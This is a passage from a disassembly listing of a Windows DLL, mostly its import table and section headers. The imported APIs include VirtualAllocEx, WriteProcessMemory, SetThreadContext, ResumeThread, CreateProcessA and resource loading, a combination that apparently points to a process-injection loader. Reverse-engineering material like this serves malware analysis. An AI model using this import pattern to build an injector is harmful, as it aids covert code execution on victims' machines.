dword_1000B170	dd 77E61A90h		; DATA XREF: sub_10004660r
dword_1000B174	dd 77E79D8Ch		; DATA XREF: sub_10004658r
dword_1000B178	dd 77E7F044h		; DATA XREF: sub_10004650r
dword_1000B17C	dd 77E79824h		; DATA XREF: sub_10004648r
dword_1000B180	dd 77E7980Ah		; DATA XREF: sub_10004640r
dword_1000B184	dd 77E7105Fh		; DATA XREF: sub_10004638r
dword_1000B188	dd 77EB9953h		; DATA XREF: sub_10004630r
dword_1000B18C	dd 77E6E154h		; DATA XREF: sub_10004628r
dword_1000B190	dd 77E61A54h		; DATA XREF: sub_10004620r
dword_1000B194	dd 77E78B82h		; DATA XREF: sub_10004618r
dword_1000B198	dd 77E7C931h		; DATA XREF: sub_10004610r
dword_1000B19C	dd 77E760B5h		; DATA XREF: sub_10004608r
dword_1000B1A0	dd 77E7C657h		; DATA XREF: sub_10004600r
dword_1000B1A4	dd 77E77F21h		; DATA XREF: sub_100045F8r
dword_1000B1A8	dd 77E97F16h		; DATA XREF: sub_100045F0r
dword_1000B1AC	dd 77E6AD34h		; DATA XREF: sub_100045E8r
dword_1000B1B0	dd 77E98D20h		; DATA XREF: sub_100045E0r
dword_1000B1B4	dd 77E79C3Dh		; DATA XREF: sub_100045D8r
dword_1000B1B8	dd 77E7A5FDh		; DATA XREF: sub_100045D0r
dword_1000B1BC	dd 77E79F93h		; DATA XREF: sub_100045C8r
dword_1000B1C0	dd 77E7A099h		; DATA XREF: sub_100045C0r
dword_1000B1C4	dd 77E7513Ch		; DATA XREF: sub_100045B8r
dword_1000B1C8	dd 77E793EFh		; DATA XREF: sub_100045B0r
dword_1000B1CC	dd 77E6869Bh		; DATA XREF: sub_100045A8r
dword_1000B1D0	dd 77E7C938h		; DATA XREF: sub_100045A0r
dword_1000B1D4	dd 77E7849Fh		; DATA XREF: sub_10004598r
dword_1000B1D8	dd 77E7A13Fh		; DATA XREF: sub_10004590r
dword_1000B1DC	dd 77E80618h		; DATA XREF: sub_10004588r
dword_1000B1E0	dd 77E6CA8Ah		; DATA XREF: sub_10004580r
dword_1000B1E4	dd 77EC9262h		; DATA XREF: sub_10004578r
dword_1000B1E8	dd 77E61BB8h		; DATA XREF: sub_10004570r
dword_1000B1EC	dd 77E7A837h		; DATA XREF: sub_10004568r
dword_1000B1F0	dd 77E77963h		; DATA XREF: sub_10004560r
		align 8
dword_1000B1F8	dd 77D6ADD7h		; DATA XREF: sub_10004688r
dword_1000B1FC	dd 77D47250h		; DATA XREF: sub_10004680r
dword_1000B200	dd 77D477C0h		; DATA XREF: sub_10004678r
dword_1000B204	dd 77D472ECh		; DATA XREF: sub_10004668r
dword_1000B208	dd 77D44D61h		; DATA XREF: sub_10004670r
		align 10h
dword_1000B210	dd 77FA44C8h		; DATA XREF: sub_100046D8r
		align 8
aKernel32_dll	db 'kernel32.dll',0
		align 4
aDeletecritical	db 'DeleteCriticalSection',0
		align 10h
aLeavecriticals	db 'LeaveCriticalSection',0
		align 4
aEntercriticals	db 'EnterCriticalSection',0
		align 10h
aInitializecrit	db 'InitializeCriticalSection',0
		align 4
aVirtualfree	db 'VirtualFree',0
		dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 6F4C0000h, 466C6163h
		dd 656572h, 6F4C0000h, 416C6163h, 636F6C6Ch, 0
aGetversion	db 'GetVersion',0
		align 10h
		dd 65470000h, 72754374h, 746E6572h, 65726854h, 64496461h
		dd 0
aWidechartomult	db 'WideCharToMultiByte',0
		dd 736C0000h, 656C7274h, 416Eh,	736C0000h, 70637274h, 416E79h
		dd 6F4C0000h, 694C6461h, 72617262h, 41784579h, 0
aGetthreadlocal	db 'GetThreadLocale',0
		dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 50746547h
		dd 41636F72h, 65726464h, 7373h,	65470000h, 646F4D74h, 48656C75h
		dd 6C646E61h, 4165h, 65470000h,	646F4D74h, 46656C75h, 4E656C69h
		dd 41656D61h, 0
aGetlocaleinfoa	db 'GetLocaleInfoA',0
		align 4
		dd 65470000h, 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 65657246h
		dd 7262694Ch, 797261h, 69460000h, 6946646Eh, 46747372h
		dd 41656C69h, 0
aFindclose	db 'FindClose',0
		align 4
aExitprocess	db 'ExitProcess',0
		dd 72570000h, 46657469h, 656C69h, 6E550000h, 646E6168h
		dd 4564656Ch, 70656378h, 6E6F6974h, 746C6946h, 7265h, 74520000h
		dd 776E556Ch, 646E69h, 61520000h, 45657369h, 70656378h
		dd 6E6F6974h, 0
aGetstdhandle	db 'GetStdHandle',0
		align 2
aUser32_dll	db 'user32.dll',0
		align 4
aGetkeyboardtyp	db 'GetKeyboardType',0
		dd 6F4C0000h, 74536461h, 676E6972h, 41h, 7373654Dh, 42656761h
		dd 41786Fh, 68430000h, 654E7261h, 417478h, 61766461h, 32336970h
		dd 6C6C642Eh, 0
aRegqueryvaluee	db 'RegQueryValueExA',0
		align 4
aRegopenkeyexa	db 'RegOpenKeyExA',0
		align 4
aRegclosekey	db 'RegCloseKey',0
aOleaut32_dll	db 'oleaut32.dll',0
		align 10h
aSysfreestring	db 'SysFreeString',0
aKernel32_dll_0	db 'kernel32.dll',0
		align 4
		dd 6C540000h, 74655373h, 756C6156h, 65h, 47736C54h, 61567465h
		dd 65756Ch, 6F4C0000h, 416C6163h, 636F6C6Ch, 0
aGetmodulehandl	db 'GetModuleHandleA',0
		align 2
aKernel32_dll_1	db 'kernel32.dll',0
		align 4
		dd 72570000h, 50657469h, 65636F72h, 654D7373h, 79726F6Dh
		dd 0
aWritefile	db 'WriteFile',0
		align 4
aVirtualquery	db 'VirtualQuery',0
		align 4
aVirtualallocex	db 'VirtualAllocEx',0
		align 4
		dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 69530000h, 666F657Ah
		dd 6F736552h, 65637275h, 0
aSetthreadconte	db 'SetThreadContext',0
		align 4
aResumethread	db 'ResumeThread',0
		align 4
aReadprocessmem	db 'ReadProcessMemory',0
		align 4
aReadfile	db 'ReadFile',0
		align 4
aLockresource	db 'LockResource',0
		align 4
aLoadresource	db 'LoadResource',0
		align 4
aGetversionexa	db 'GetVersionExA',0
		align 4
aGetthreadloc_0	db 'GetThreadLocale',0
		dd 65470000h, 72685474h, 43646165h, 65746E6Fh, 7478h, 65470000h
		dd 6D655474h, 74615070h, 4168h,	65470000h, 72745374h, 54676E69h
		dd 45657079h, 4178h, 65470000h,	64745374h, 646E6148h, 656Ch
		dd 65470000h, 6F725074h, 64644163h, 73736572h, 0
aGetmodulehan_0	db 'GetModuleHandleA',0
		align 4
aGetmodulefilen	db 'GetModuleFileNameA',0
		align 4
		dd 65470000h, 636F4C74h, 49656C61h, 416F666Eh, 0
aGetfilesize	db 'GetFileSize',0
		db    0
		align 2
aGetdiskfrees_0	db 'GetDiskFreeSpaceA',0
		dd 65470000h, 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 43746547h
		dd 666E4950h, 6Fh, 41746547h, 5043h, 72460000h,	694C6565h
		dd 72617262h, 79h, 646E6946h, 6F736552h, 65637275h, 41h
aEnumcalendarin	db 'EnumCalendarInfoA',0
		align 4
aCreateprocessa	db 'CreateProcessA',0
		align 4
		dd 72430000h, 65746165h, 656C6946h, 41h, 736F6C43h, 6E614865h
		dd 656C64h, 72657375h, 642E3233h, 6C6Ch, 654D0000h, 67617373h
		dd 786F4265h, 41h, 64616F4Ch, 69727453h, 41676Eh, 65470000h
		dd 73795374h, 4D6D6574h, 69727465h, 7363h, 68430000h, 654E7261h
		dd 417478h, 68430000h, 6F547261h, 416D654Fh, 746E0000h
		dd 2E6C6C64h, 6C6C64h, 74520000h, 6365446Ch, 72706D6Fh
		dd 42737365h, 65666675h
		db 72h,	0
_idata		ends

; Section 5. (virtual address 0000C000)
; Virtual size			: 00000008 (	  8.)
; Section size in file		: 00000008 (	  8.)
; Offset to raw	data for section: 0000C000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
_tls		segment	para public '' use32
		assume cs:_tls
		;org 1000C000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
TlsStart	dd 2 dup(0)		; DATA XREF: .rdata:TlsDirectoryo
_tls		ends

; Section 6. (virtual address 0000D000)
; Virtual size			: 00000018 (	 24.)
; Section size in file		: 00000018 (	 24.)
; Offset to raw	data for section: 0000D000
; Flags	50000040: Data Shareable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 1000D000h
TlsDirectory	dd offset TlsStart
TlsEnd_ptr	dd 1000C008h
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsSizeOfZeroFill
TlsSizeOfZeroFill dd 0			; DATA XREF: .rdata:TlsCallbacks_ptro
TlsCharacteristics dd 0
_rdata		ends

; Section 9. (virtual address 00016000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00016000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 10016000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start